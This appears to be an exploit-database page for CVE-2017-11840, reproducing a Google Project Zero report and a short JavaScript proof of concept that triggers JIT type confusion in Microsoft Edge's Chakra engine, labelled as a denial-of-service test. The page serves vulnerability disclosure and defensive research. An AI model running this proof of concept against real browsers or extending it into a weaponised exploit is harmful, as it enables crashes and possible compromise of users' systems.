Materialized exploit

CVE-2017-11840

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();